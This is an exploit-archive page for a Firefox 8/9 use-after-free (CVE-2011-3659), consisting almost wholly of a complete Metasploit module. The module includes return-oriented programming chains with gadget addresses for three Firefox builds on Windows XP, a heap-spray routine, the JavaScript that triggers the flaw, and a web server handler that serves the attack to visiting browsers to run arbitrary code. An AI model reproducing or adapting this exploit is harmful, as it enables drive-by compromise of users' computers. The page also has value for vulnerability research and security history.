Firefox 8/9 AttributeChildRemoved() Use-After-Free

2012.05.15
Credit: regenrecht
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1. Removal of child nodes from the nsDOMAttribute can allow for a child to still be accessible after removal due to a premature notification of AttributeChildRemoved. Since mFirstChild is not set to NULL until after this call is made, this means the removed child will be accessible after it has been removed. By carefully manipulating the memory layout, this can lead to arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', #vulnerability discovery 'Lincoln<lincoln[at]corelan.be>', #Metasploit module 'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module ], 'References' => [ [ 'CVE', '2011-3659' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413 [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x34", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" #ADD ESP, -5DC }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'Windows XP - Firefox 8 / 8.0.1', { 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, 'Size' => 0x40000, 'StackFlip' => 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll] 'PopEsp' => [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ], 'FF' => 8, 'OS' => 'XP' } ], [ 'Windows XP - Firefox 9', { 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, 'Size' => 0x40000, 'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll] 'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll] 'FF' => 9, 'OS' => 'XP' } ], [ 'Windows XP - Firefox 9.0.1', { 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, 'Size' => 0x40000, 'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll] 'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll] 'FF' => 901, 'OS' => 'XP' } ] ], 'DisclosureDate' => 'Dec 6 2011', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def junk(n=4) return rand_text_alpha_upper(n).unpack("L")[0].to_i end def nop return make_nops(4).unpack("L")[0].to_i end def get_rop_chain(ffversion,osversion) # mona.py ROP chains rop_chain = [] if ffversion == 8 and osversion == "XP" rop_chain = [ 0x7819c80a, # POP EAX # RETN [MOZCRT19.dll] 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] 0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] 0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll] 0x7814eef1, # POP EBP # RETN [MOZCRT19.dll] 0x781503c3, # & call esp [MOZCRT19.dll] 0x781391d0, # POP EBX # RETN [MOZCRT19.dll] 0x00000001, # 0x00000001-> ebx 0x781a147c, # POP EDX # RETN [MOZCRT19.dll] 0x00001000, # 0x00001000-> edx 0x7819728e, # POP ECX # RETN [MOZCRT19.dll] 0x00000040, # 0x00000040-> ecx 0x781945b5, # POP EDI # RETN [MOZCRT19.dll] 0x78152809, # RETN (ROP NOP) [MOZCRT19.dll] 0x7819ce58, # POP EAX # RETN [MOZCRT19.dll] nop, # nop 0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll] ].flatten.pack("V*") elsif ffversion == 9 and osversion == "XP" rop_chain = [ 0x10019ee9, # POP ECX # RETN [nspr4.dll] 0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll] 0x1000f994, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll] 0x10012ad0, # POP EBX # RETN [nspr4.dll] 0x00000000, # clear ebx 0x10006f41, # ADD EBX,EAX # XOR EAX,EAX # RETN 0x1000cf40, # POP EDX # RETN 00 [nspr4.dll] 0x1000d6ce, # RETN (ROP NOP) [nspr4.dll] 0x10019ee9, # POP ECX # RETN [nspr4.dll] 0x0c0c0c50, # xul.dll (Unicode string) 0x1000eeb4, # POP EDI # RETN [nspr4.dll] 0x1001f145, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary 0x10004860, # POP EAX # RETN [nspr4.dll] 0x1001f111, # ADD ESP,10 # POP ESI # RETN [nspr4.dll] 0x100058B3, # PUSHAD # CALL EAX [nspr4.dll] junk, # win some, lose some 0x00750078, # xu 0x002e006c, # l. 0x006c0064, # dl 0x0000006c, # l 0x1000cf40, # POP EDX # RETN 00 [nspr4.dll] 0x00A63374, # Delta to IAT VirtualAlloc() 0x10018ada, # ADD EAX,EDX # RETN [nspr4.dll] 0x10008ddf, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll] 0x1000a031, # POP ESI # RETN ** [nspr4.dll] 0x1000a031, # POP ESI # RETN ** [nspr4.dll] (readable address) 0x10013f1f, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll] 0x1000687b, # POP EBP # RETN [nspr4.dll] 0x1001a59b, # & call esp [nspr4.dll] 0x10012ad0, # POP EBX # RETN [nspr4.dll] 0x00000001, # 0x00000001-> ebx 0x1000cf40, # POP EDX # RETN 00 [nspr4.dll] 0x00001000, # 0x00001000-> edx 0x1001069e, # POP ECX # RETN [nspr4.dll] 0x00000040, # 0x00000040-> ecx 0x1000eeb4, # POP EDI # RETN [nspr4.dll] 0x1000d6ce, # RETN (ROP NOP) [nspr4.dll] 0x10004860, # POP EAX # RETN [nspr4.dll] 0x10004860, # POP EAX # RETN [nspr4.dll] 0x100058B3, # PUSHAD # CALL EAX [nspr4.dll] ].flatten.pack("V*") elsif ffversion == 901 and osversion == "XP" rop_chain = [ 0x1000bfc1, # POP ECX # RETN [nspr4.dll] 0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll] 0x1000f986, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll] 0x1000f5ef, # POP EBX # RETN [nspr4.dll] 0x00000000, # clear ebx 0x10006f51, # ADD EBX,EAX # XOR EAX,EAX # RETN 0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll] 0x1001ea03, # RETN (ROP NOP) [nspr4.dll] 0x1000bfc1, # POP ECX # RETN [nspr4.dll] 0x0c0c0c50, # xul.dll (Unicode string) 0x1000eea6, # POP EDI # RETN [nspr4.dll] 0x1000dda4, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary 0x10004870, # POP EAX # RETN [nspr4.dll] 0x10001ab4, # ADD ESP,10 # POP ESI # RETN [nspr4.dll] 0x100058c3, # PUSHAD # CALL EAX [nspr4.dll] junk, # win some, lose some 0x00750078, # xu 0x002e006c, # l. 0x006c0064, # dl 0x0000006c, # l 0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll] 0x00A63374, # Delta to IAT VirtualAlloc() 0x10018acf, # ADD EAX,EDX # RETN [nspr4.dll] 0x10008dd1, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll] 0x1000e0b8, # POP ESI # RETN ** [nspr4.dll] 0x1000e0b8, # POP ESI # RETN ** [nspr4.dll] (readable address) 0x10013f14, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll] 0x100162d5, # POP EBP # RETN [nspr4.dll] 0x10019d12, # & push esp # ret [nspr4.dll] 0x1000f5ef, # POP EBX # RETN [nspr4.dll] 0x00000001, # 0x00000001-> ebx 0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll] 0x00001000, # 0x00001000-> edx 0x10007e46, # POP ECX # RETN [nspr4.dll] 0x00000040, # 0x00000040-> ecx 0x1000eea6, # POP EDI # RETN [nspr4.dll] 0x1001ea03, # RETN (ROP NOP) [nspr4.dll] 0x10004870, # POP EAX # RETN [nspr4.dll] 0x10004870, # POP EAX # RETN [nspr4.dll] 0x100058c3, # PUSHAD # CALL EAX [nspr4.dll] ].flatten.pack("V*") end return rop_chain end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # determine the target FF and OS version ffversion = "" osversion = "" agent = request.headers['User-Agent'] if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/ vprint_error("This browser version is not supported: #{agent.to_s}") send_not_found(cli) return end my_target = target if my_target.name == 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/ my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/ my_target = targets[3] elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/ my_target = targets[2] elsif vprint_error("This Operating System is not supported: #{agent.to_s}") send_not_found(cli) return end target = my_target end # Create the payload print_status("Creating payload for #{target.name}") rop = [ target['StackFlip'] ].pack("V") rop << get_rop_chain(target['FF'],target['OS']) rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch)) code = payload.encoded code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) popesp = target['PopEsp'].flatten.pack("V*") popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch)) filler = [ junk ].pack("V*") filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch)) # random JavaScript variable names i_name = rand_text_alpha(rand(10) + 5) rop_name = rand_text_alpha(rand(10) + 5) code_name = rand_text_alpha(rand(10) + 5) offset_length_name = rand_text_alpha(rand(10) + 5) randnum1_name = rand_text_alpha(rand(10) + 5) randnum2_name = rand_text_alpha(rand(10) + 5) randnum3_name = rand_text_alpha(rand(10) + 5) randnum4_name = rand_text_alpha(rand(10) + 5) paddingstr_name = rand_text_alpha(rand(10) + 5) padding_name = rand_text_alpha(rand(10) + 5) junk_offset_name = rand_text_alpha(rand(10) + 5) single_sprayblock_name = rand_text_alpha(rand(10) + 5) sprayblock_name = rand_text_alpha(rand(10) + 5) varname_name = rand_text_alpha(rand(10) + 5) thisvarname_name = rand_text_alpha(rand(10) + 5) attr_name = rand_text_alpha(rand(10) + 5) foo_name = rand_text_alpha(rand(10) + 5) bar_name = rand_text_alpha(rand(10) + 5) ni_name = rand_text_alpha(rand(10) + 5) small_name = rand_text_alpha(rand(10) + 5) addr_name = rand_text_alpha(rand(10) + 5) run_name = rand_text_alpha(rand(10) + 5) container_name = rand_text_alpha(rand(10) + 5) # corelan precise heap spray: # https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ # + trigger routine spray = <<-JS var #{rop_name} = unescape("#{rop_js}"); var #{code_name} = unescape("#{code_js}"); var #{offset_length_name} = #{target['OffSet']}; for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++) { var #{randnum1_name}=Math.floor(Math.random()*90)+10; var #{randnum2_name}=Math.floor(Math.random()*90)+10; var #{randnum3_name}=Math.floor(Math.random()*90)+10; var #{randnum4_name}=Math.floor(Math.random()*90)+10; var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString(); #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString(); var #{padding_name} = unescape(#{paddingstr_name}); while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name}; #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name}); var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name}; #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length); while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name}; #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2); #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString(); #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString(); #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';"; eval(#{thisvarname_name}); } function #{run_name}() { var #{attr_name} = document.createAttribute("#{foo_name}"); #{attr_name}.value = "#{bar_name}"; var #{ni_name} = document.createNodeIterator( #{attr_name}, NodeFilter.SHOW_ALL, {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }}, false); #{ni_name}.nextNode(); #{ni_name}.nextNode(); #{ni_name}.previousNode(); #{attr_name}.value = null; const #{addr_name} = unescape("#{filler_js}"); var #{container_name} = new Array(); var #{small_name} = unescape("#{popesp_js}") while (#{small_name}.length != 30) #{small_name} += #{addr_name}; for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name}) #{container_name}.push(unescape(#{small_name})); #{ni_name}.referenceNode; } JS # build html content = <<-HTML <html> <head> <meta http-equiv="refresh" content="3"> <body> <script language='javascript'> #{spray} </script> </head> <body onload="#{run_name}();"> </svg> </body> </html> HTML print_status("Returning HTML") # Transmit the response to the client send_response(cli, content, {'Content-Type'=>'text/html'}) end end

References:

https://bugzilla.mozilla.org/show_bug.cgi?id=708198


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